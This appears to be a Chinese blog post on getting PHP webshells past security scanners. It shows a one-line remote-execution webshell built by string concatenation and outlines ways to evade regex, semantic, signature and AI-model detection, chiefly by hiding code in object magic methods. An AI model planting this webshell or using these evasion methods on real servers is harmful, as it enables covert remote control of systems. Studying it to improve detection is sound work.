最近一直在学习webshell查杀对抗相关内容。发现一条非常简单的写法,可以bypass安X狗、X盾查杀。不过昨天(2020/11/25),X盾更新了规则,不再过了。。

<?php
("ass"."ert")($_GET['1']);

此处应属php7的特性,7以下不可执行。正如eval不可放在变量中那样,eval函数并不可用。究其原因在 https://www.php.net/manual/zh/language.types.callable.php 中提到。

PHP是将函数以string形式传递的。 可以使用任何内置或用户自定义函数,但除了语言结构例如:array()echoempty()eval()exit()isset()list()printunset()

上面提到的函数都不能使用可变变量的方式进行执行。

再说点废话:

以我个人理解,webshell查杀大致有以下几类:

  1. 简单正则匹配、或危险函数匹配类

    使用基础的正则表达式或者其他做法,直接匹配危险函数。较为精准,也较容易bypass。使用变量的拼接等即可绕过。

  2. 模拟语义分析类

    如D盾等,会将参数带入具体函数进行分析。以判断恶意行为。比上部分绕过难度增加,不过毕竟不是真的语义分析,稍微做些强变化即可。比如变量多做几次处理让其无法追踪。

  3. webshell特征类

    常见的webshell、新式工具等直接做成强匹配特征。

  4. 人工智能模型类

    这块不太清楚具体的实现流程。不过可以使用一些面向对象或其他高阶写法进行bypass。

目前较为通杀的是最后一条,使用面向对象写法进行bypass。php为我们提供了丰富的魔法函数,比如 __construct 、 __destruct 等,可以将我们的恶意代码放入到之类函数中,在对象实例化创建、销毁时候会自动运行。究其缘由,还是把webshell融入到正常的php之中。比如我们可以做一些废话来给查杀引擎看,然后不要使用明显的恶意函数,就直接使用开发也会经常用到的 eval、call_user_function等。

未来趋势:

以我个人理解,未来查杀工具可能更依赖于底层的hook直接截取执行过程进行查杀。毕竟写法再怎么丰富,也终究逃不过执行恶意代码的行为。